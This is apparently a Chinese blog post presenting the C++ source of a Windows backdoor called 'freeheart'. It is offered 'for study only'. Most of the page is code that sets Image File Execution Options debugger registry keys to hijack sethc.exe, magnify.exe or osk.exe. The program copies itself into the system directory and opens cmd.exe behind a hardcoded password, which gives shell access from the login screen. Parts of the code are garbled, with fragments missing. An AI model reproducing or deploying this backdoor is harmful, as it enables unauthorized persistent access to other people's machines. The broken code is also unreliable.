C++映像劫持后门实例分析

 // freeheart.cpp : Defines the entry point for the console application. //学习交流使用，违法使用后果自负。 // by:cnblogs.com/blogg time 2013.5.24 // argv 0 = freeheart.exe // argv 1 = -i // argv 2 = name.exe // argv 3 = 1 2 3 // 此程序使用的映像劫持技术， // 在注册表当中建立一个程序名的项目,在里面使用debugger,然后在里面指向自己的程序。 //[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options] // #include "stdafx.h" #include "windows.h" #include "atlbase.h" #include  using namespace std; int main(int argc, char* argv[]) { void anzhuang(char *Path,char *filename); void xiezai(char *path,char *hName); void CopyZiji(char *CopyPath); char *password = "free";   //真密码缓冲区 char *shuruPwd = "";    //输入的密码缓冲区 int errorbuff = 0; char *PathBuff = ""; char *FileName = ""; char *chsname = "sethc.exe"; //SHIFT粘贴键程序的名称 char *fangdajing = "magnify.exe"; // char *pingmujianpan = "osk.exe"; // LPTSTR sysbuff;   //得到系统路径的缓冲区 TCHAR tchBuffer2[1024];  //申请一个字符变量数组 sysbuff = tchBuffer2; //把系统的路径放到这个变量数组里 if(GetSystemDirectory(sysbuff, MAX_PATH)) //得到系统路径 { sysbuff = strcat(sysbuff,"\\"); //strcat 剪切在一起,把\\放在系统路径的后面，然后放入系统缓冲区当中。 } if (argv[1] != NULL) { //安装命令判断 if (strcmp(argv[1],"-i") == 0) { if (argv[2] != NULL) { FileName=argv[2]; } else { cout<<"请输入文件名!"; return 0; } if(argv[3] != NULL) { if(strcmp(argv[3],"1") == 0) { anzhuang(FileName,chsname); PathBuff = strcat(sysbuff,FileName); CopyZiji(PathBuff); cout<<"创建完成! : "<>shuruPwd; if (strcmp(shuruPwd,password) == 0) { system("cmd.exe"); break; } else { cout<<"密码错误!"<(last)); DeleteFile(DelCom); //删除文件 RegDeleteKey(hSoftKey,hname); //删除注册表 } RegCloseKey(hSoftKey); //关闭句柄 RegCloseKey(hKey); //关闭句柄 } } void CopyZiji(char *CopyPath) //将自身生成exe文件复制到指定的路径下 { char PathBuff[MAX_PATH]; //申请一个字符变量数组,大小是系统最大的长度。 GetModuleFileName(NULL,PathBuff,MAX_PATH); //第一个参数为NULL，就表示获取当前程序的路径,第二个参数就是存放到缓冲区。 CopyFile(PathBuff,CopyPath,true); //CurrentPath 是自身exe,把自身复制到目标路径当中 }